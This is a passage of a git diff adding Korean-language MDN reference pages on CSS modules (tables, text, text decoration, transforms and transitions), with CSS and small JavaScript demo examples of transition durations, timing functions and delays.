{{CSSRef}}
+ +

CSS Table은 표 데이터의 배치법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("border-collapse")}}
  • +
  • {{cssxref("border-spacing")}}
  • +
  • {{cssxref("caption-side")}}
  • +
  • {{cssxref("empty-cells")}}
  • +
  • {{cssxref("table-layout")}}
  • +
  • {{cssxref("vertical-align")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS2.1", "tables.html")}}{{Spec2("CSS2.1")}}초기 정의
diff --git a/files/ko/web/css/css_text/index.html b/files/ko/web/css/css_text/index.html new file mode 100644 index 0000000000..9edc21d716 --- /dev/null +++ b/files/ko/web/css/css_text/index.html @@ -0,0 +1,71 @@ +--- +title: CSS Text +slug: Web/CSS/CSS_Text +tags: + - CSS + - CSS Text + - Guide + - Overview +translation_of: Web/CSS/CSS_Text +--- +
{{CSSRef}}
+ +

CSS Text는 줄 바꿈, 정돈 및 정렬, 공백 처리 및 텍스트 변환 같은 텍스트 조작을 수행하는 법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("hanging-punctuation")}}
  • +
  • {{cssxref("hyphens")}}
  • +
  • {{cssxref("letter-spacing")}}
  • +
  • {{cssxref("line-break")}}
  • +
  • {{cssxref("overflow-wrap")}}
  • +
  • {{cssxref("tab-size")}}
  • +
  • {{cssxref("text-align")}}
  • +
  • {{cssxref("text-align-last")}}
  • +
  • {{cssxref("text-indent")}}
  • +
  • {{cssxref("text-justify")}}
  • +
  • {{cssxref("text-size-adjust")}}
  • +
  • {{cssxref("text-transform")}}
  • +
  • {{cssxref("white-space")}}
  • +
  • {{cssxref("word-break")}}
  • +
  • {{cssxref("word-spacing")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS Logical Properties')}}{{Spec2('CSS Logical Properties')}}텍스트 방향성에 독립된 일부 속성 갱신.
{{SpecName('CSS3 Text')}}{{Spec2('CSS3 Text')}}
{{SpecName('CSS2.1', 'text.html')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS1')}}{{Spec2('CSS1')}}초기 정의
diff --git a/files/ko/web/css/css_text_decoration/index.html b/files/ko/web/css/css_text_decoration/index.html new file mode 100644 index 0000000000..e01c36d116 --- /dev/null +++ b/files/ko/web/css/css_text_decoration/index.html @@ -0,0 +1,69 @@ +--- +title: CSS Text Decoration +slug: Web/CSS/CSS_Text_Decoration +tags: + - CSS + - CSS Text Decoration + - Overview + - Reference +translation_of: Web/CSS/CSS_Text_Decoration +--- +
{{CSSRef}}
+ +

CSS Text Decoration은 밑줄, 텍스트 그림자 및 강조 표시 등 텍스트 장식에 관련된 기능을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("letter-spacing")}}
  • +
  • {{cssxref("text-align")}}
  • +
  • {{cssxref("text-decoration")}}
  • +
  • {{cssxref("text-decoration-color")}}
  • +
  • {{cssxref("text-decoration-line")}}
  • +
  • {{cssxref("text-decoration-style")}}
  • +
  • {{cssxref("text-emphasis")}}
  • +
  • {{cssxref("text-emphasis-color")}}
  • +
  • {{cssxref("text-emphasis-position")}}
  • +
  • {{cssxref("text-emphasis-style")}}
  • +
  • {{cssxref("text-indent")}}
  • +
  • {{cssxref("text-rendering")}}
  • +
  • {{cssxref("text-shadow")}}
  • +
  • {{cssxref("text-transform")}}
  • +
  • {{cssxref("white-space")}}
  • +
  • {{cssxref("word-spacing")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Text Decoration')}}{{Spec2('CSS3 Text Decoration')}} 
{{SpecName('CSS2.1', 'text.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}초기 정의
+ +
 
diff --git a/files/ko/web/css/css_transforms/index.html b/files/ko/web/css/css_transforms/index.html new file mode 100644 index 0000000000..f4cffad3b6 --- /dev/null +++ b/files/ko/web/css/css_transforms/index.html @@ -0,0 +1,66 @@ +--- +title: CSS Transforms +slug: Web/CSS/CSS_Transforms +tags: + - CSS + - CSS Transforms + - Overview + - Reference +translation_of: Web/CSS/CSS_Transforms +--- +
{{CSSRef}}
+ +

CSS Transforms is a module of CSS that defines how elements styled with CSS can be transformed in two-dimensional or three-dimensional space.

+ +

Reference

+ +

Properties

+ +
+
    +
  • {{cssxref("backface-visibility")}}
  • +
  • {{cssxref("perspective")}}
  • +
  • {{cssxref("perspective-origin")}}
  • +
  • {{cssxref("rotate")}}
  • +
  • {{cssxref("scale")}}
  • +
  • {{cssxref("transform")}}
  • +
  • {{cssxref("transform-box")}}
  • +
  • {{cssxref("transform-origin")}}
  • +
  • {{cssxref("transform-style")}}
  • +
  • {{cssxref("translate")}}
  • +
+
+ +

Data types

+ +
+
    +
  • {{cssxref("<transform-function>")}}
  • +
+
+ +

Guides

+ +
+
Using CSS transforms
+
Step-by-step tutorial about how to transform elements styled with CSS.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Transforms') }}{{ Spec2('CSS3 Transforms') }}Initial definition.
diff --git a/files/ko/web/css/css_transforms/using_css_transforms/index.html b/files/ko/web/css/css_transforms/using_css_transforms/index.html new file mode 100644 index 0000000000..1c29e3b1e3 --- /dev/null +++ b/files/ko/web/css/css_transforms/using_css_transforms/index.html @@ -0,0 +1,80 @@ +--- +title: CSS 변형 사용하기 +slug: Web/CSS/CSS_Transforms/Using_CSS_transforms +tags: + - 3D + - Advanced + - CSS + - CSS Transforms + - Graphics + - Guide +translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms +--- +
{{CSSRef}}
+ +

CSS 변형(transform)은 좌표공간을 변형함으로써 일반적인 문서 흐름을 방해하지 않고 콘텐츠의 형태와 위치를 바꿉니다. 본 가이드는 변형 사용법의 기초를 제시합니다.

+ +

CSS 변형은 HTML 요소에 선형 아핀 변형(affine linear transformation)을 적용하는 여러 개의 CSS 속성을 조합해 구현합니다. 변형은 평면과 3D 공간에서의 회전, 확대, 이동, 비틀기를 포함합니다.

+ +
+

박스 모델에 따라 배치된 요소만 transform을 적용할 수 있습니다. 한 가지 예를 들자면, display: block속성을 가진 요소는 박스 모델을 따릅니다. 

+
+ +

CSS 변형 속성

+ +

CSS 변형을 정의할 때 중요한 두 가지 속성은 {{cssxref("transform")}}과 {{cssxref("transform-origin")}}입니다.

+ +
+
{{cssxref("transform-origin")}}
+
원점의 위치를 지정합니다. 기본값은 요소의 중심이며 변경할 수 있습니다. 회전, 확대, 비틀기 등 하나의 점을 기준으로 하는 변형에서 사용합니다.
+
{{cssxref("transform")}}
+
요소에 적용할 변형을 지정합니다. 여러 개의 변형 목록을 공백으로 구분하여 대입하면 순차적으로 합성한 결과물을 적용합니다. 합성은 오른쪽부터 왼쪽으로 진행합니다.
+
+ +

예제

+ +

다음 이미지는 변형하지 않은 MDN 로고입니다.

+ +

MDN Logo

+ +

회전

+ +

MDN 로고를 90도 회전합니다.

+ +
<img style="transform: rotate(90deg);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png">
+ +

{{EmbedLiveSample('회전', 'auto', 240) }}

+ +

비틀고 옮기기

+ +

MDN 로고를 10도 비틀고 X축으로 150픽셀 옮깁니다.

+ +
<img style="transform: skewx(10deg) translatex(150px);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png">
+ +

{{EmbedLiveSample('비틀고_옮기기') }}

+ +

3D 전용 CSS 속성

+ +

3D 공간에서의 CSS 변환은 좀 더 복잡합니다. 우선 원근감을 부여해 3D 공간을 설정한 후에, 2D 요소가 그 안에서 어떻게 행동할지 설정해야 합니다..

+ +

원근

+ +

처음으로 정할 항목은 {{cssxref("perspective")}}입니다. 우리가 입체라고 느낄 수 있는 건 원근감 덕분입니다. 요소가 관찰자에서 멀어질 수록 더 작게 보입니다.

+ +

{{page("/ko/docs/Web/CSS/perspective", "Setting perspective", 0, 0, 3)}}

+ +

다음으로는 {{cssxref("perspective-origin")}} 속성으로 관찰자의 위치를 정해야 합니다. 기본값은 중앙으로, 언제나 충분한 위치는 아닙니다.

+ +

{{page("/ko/docs/Web/CSS/perspective-origin", "Changing the perspective origin", 0, 0, 3)}}

+ +

모든 과정을 마쳤다면 3D 공간의 요소를 작업할 수 있습니다.

+ +

더 보기

+ + diff --git a/files/ko/web/css/css_transitions/index.html b/files/ko/web/css/css_transitions/index.html new file mode 100644 index 0000000000..e32bb60c42 --- /dev/null +++ b/files/ko/web/css/css_transitions/index.html @@ -0,0 +1,59 @@ +--- +title: CSS Transitions +slug: Web/CSS/CSS_Transitions +tags: + - CSS + - CSS Transitions + - Overview + - Reference +translation_of: Web/CSS/CSS_Transitions +--- +
{{CSSRef}}
+ +

CSS Transitions는 특정 CSS 속성의 값을 점진적으로 바꿀 수 있는 CSS 모듈입니다. 타이밍 함수, 시간 등 여러 속성을 통해 값이 바뀌는 방식을 조절할 수 있습니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("transition")}}
  • +
  • {{cssxref("transition-delay")}}
  • +
  • {{cssxref("transition-duration")}}
  • +
  • {{cssxref("transition-property")}}
  • +
  • {{cssxref("transition-timing-function")}}
  • +
+
+ +

안내서

+ +
+
CSS 트랜지션 사용하기
+
CSS 트랜지션을 사용하는 법이 단계별로 적혀있습니다. 각각의 CSS 트랜지션 속성의 설명과, 서로 합치면 어떻게 동작하는지 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions')}}{{Spec2('CSS3 Transitions')}}Initial definition.
+ +

같이 보기

+ +
    +
  • CSS Animations를 사용하면 값의 전환을 CSS Transitions보다 더 세밀하게 조절할 수 있습니다.
  • +
diff --git a/files/ko/web/css/css_transitions/using_css_transitions/index.html b/files/ko/web/css/css_transitions/using_css_transitions/index.html new file mode 100644 index 0000000000..c81a169965 --- /dev/null +++ b/files/ko/web/css/css_transitions/using_css_transitions/index.html @@ -0,0 +1,1058 @@ +--- +title: CSS 트랜지션 사용하기 +slug: Web/CSS/CSS_Transitions/Using_CSS_transitions +tags: + - Advanced + - CSS + - CSS Transitions + - Guide +translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions +--- +
{{CSSRef}}
+ +

CSS 트랜지션은 CSS 속성을 변경할 때 애니메이션 속도를 조절하는 방법을 제공합니다. 속성 변경이 즉시 영향을 미치게 하는 대신, 그 속성의 변화가 일정 기간에 걸쳐 일어나도록 할 수 있습니다. 예를 들어, 여러분이 어떤 요소의 색상을 흰색에서 검은색으로 변경한다면, 변화는 대개 즉시 일어납니다. CSS 트랜지션을 이용하면, 모두 커스터마이즈 가능한 어떤 가속도 곡선을 따르는 시간 주기마다 변화가 일어납니다.

+ +

두 상태 사이의 트랜지션을 포함하는 애니메이션을 종종 암묵적 트랜지션이라고 부르는데, 이는 시작과 종료 상태 사이의 상태를 브라우저가 암묵적으로 정의하기 때문입니다.

+ +

A CSS transition tells the browser to draw the intermediate states between the initial and final states, showing the user a smooth transitions.

+ +

CSS transitions는 여러분이 (명시적으로 목록을 작성해서) 어떤 속성을 움직이게 할지, (딜레이를 설정해서) 언제 애니메이션이 시작할지, (지속 시간을 설정해서) 트랜지션을 얼마나 지속할지, 그리고 (예를 들면, 선형이거나 초기 빠름, 종료 느림과 같은 타이밍 함수를 정의해서) 어떻게 트랜지션을 실행하는지 결정하게 합니다.

+ +

애니메이션 가능한 CSS 속성은?

+ +

웹 작성자는 어떤 속성을 어떤 방식으로 움직일지를 정의할 수 있습니다. 이것은 복잡한 트랜지션을 생성할 수 있게 합니다. 어떤 속성은 움직이게 하는 것이 말이 되지 않으므로, 애니메이션 가능한 속성의 집합은 유한한 집합으로 제한됩니다.

+ +
노트: 애니메이션 가능한 속성의 집합은 변할 수 있습니다. 개발자는 주의해서 진행해야 합니다.
+ +

또한, 종종 auto 값은 매우 복잡한 경우입니다. 스펙은 그러한 어떤 값에서 시작하고 끝나도록 움직이도록 요구하지 않습니다. Gecko 기반의 유저 에이전트처럼 몇몇은 이 요구사항을 구현했고, WebKit 기반의 유저 에이전트 같은 다른 것들은 덜 엄격합니다. 애니메이션에 auto를 사용하면 이는 브라우저와 버전에 따라 예상하지 못한 결과를 초래할 수 있으며 피해야 합니다.

+ +

다수의 애니메이션이 적용된 속성 예제

+ +

HTML 내용

+ +
<body>
+    <p>아래 박스는 width, height, background-color, transform을 위한 트랜지션을 결합합니다. 박스 위에 마우스를 올려 속성들의 애니메이션을 보세요.</p>
+    <div class="box"></div>
+</body>
+ +

CSS 내용

+ +
.box {
+    border-style: solid;
+    border-width: 1px;
+    display: block;
+    width: 100px;
+    height: 100px;
+    background-color: #0000FF;
+    -webkit-transition:width 2s, height 2s, background-color 2s, -webkit-transform 2s;
+    transition:width 2s, height 2s, background-color 2s, transform 2s;
+}
+.box:hover {
+    background-color: #FFCCCC;
+    width:200px;
+    height:200px;
+    -webkit-transform:rotate(180deg);
+    transform:rotate(180deg);
+}
+
+
+ +

{{ EmbedLiveSample('%EB%8B%A4%EC%88%98%EC%9D%98_%EC%95%A0%EB%8B%88%EB%A9%94%EC%9D%B4%EC%85%98%EC%9D%B4_%EC%A0%81%EC%9A%A9%EB%90%9C_%EC%86%8D%EC%84%B1_%EC%98%88%EC%A0%9C', '600', '300', '', 'Web/Guide/CSS/Using_CSS_transitions') }}

+ +

트랜지션 정의에 사용한 CSS 속성

+ +

CSS 트랜지션은 단축(shorthand) 속성 {{cssxref("transition")}}을 사용하여 제어합니다. 이것은 트랜지션을 설정하는 가장 좋은 방법입니다. 파라미터 목록의 길이가 싱크가 맞지 않는 것을 피하기가 더 쉬워지기 때문입니다. 싱크가 맞지 않으면 CSS를 디버그하는데 많은 시간을 들여야 해서 크게 좌절할 수 있습니다.

+ +

여러분은 아래의 서브 속성으로 트랜지션의 개별 컴포넌트를 제어할 수 있습니다:

+ +

(이 트랜지션은 단지 예제를 목적으로 계속해서 루프를 돕니다. 그리고 CSS transition들은 시작에서 종료까지 어떤 속성의 변화만을 시각화합니다. 그 루프를 시각화하려면 CSS animation 속성을 살펴보세요.)

+ +
+
{{ cssxref("transition-property") }}
+
트랜지션을 적용해야 하는 CSS 속성의 이름 혹은 이름들을 명시합니다. 여기에 나열한 속성만 트랜지션하는 동안 움직입니다. 또한, 다른 모든 속성에 대한 변화는 보통 때와 같이 즉시 일어납니다.
+
{{ cssxref("transition-duration") }}
+
트랜지션이 일어나는 지속 시간을 명시합니다. 트랜지션 동안 모든 속성에 적용하는 단일 지속 시간을 명시하거나, 다른 주기로 각 속성이 트랜지션하게 하는 여러 지속 시간을 명시할 수 있습니다. +
+
+

transition-duration: 0.5s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_0_5s",275,150)}}
+
+ +
+

transition-duration: 1s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_1s",275,150)}}
+
+ +
+

transition-duration: 2s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_2s",275,150)}}
+
+ +
+

transition-duration: 4s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("duration_4s",275,150)}}
+
+
+
+
{{ cssxref("transition-timing-function") }}
+
속성의 중간값을 계산하는 방법을 정의하는 함수를 명시합니다. Timing functions는 트랜지션의 중간값을 계산하는 방법을 결정합니다. 대부분의 타이밍 함수는 큐빅 베이지어(cubic bezier)를 정의하는 네 점에 의해 정의되므로 상응하는 함수의 그래프로 제공해서 명시할 수 있습니다. Easing Functions Cheat Sheet에서 이징(easing, 역자주: 시간에 따른 파라미터 값의 변화율을 명시하는 함수)을 선택할 수도 있습니다. +
+
+

transition-timing-function: ease

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_ease",275,150)}}
+
+ +
+

transition-timing-function: linear

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: linear;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_linear",275,150)}}
+
+ +
+

transition-timing-function: step-end

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-end;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-end;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_stepend",275,150)}}
+
+ +
+

transition-timing-function: steps(4, end)

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: steps(4, end);
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: steps(4, end);
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("ttf_step4end",275,150)}}
+
+
+
+
{{ cssxref("transition-delay") }}
+
속성이 변한 시점과 트랜지션이 실제로 시작하는 사이에 기다리는 시간을 정의합니다. +
+
+

transition-delay: 0.5s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_0_5s",275,150)}}
+
+ +
+

transition-delay: 1s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_1s",275,150)}}
+
+ +
+

transition-delay: 2s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+
+ +
function updateTransition() {
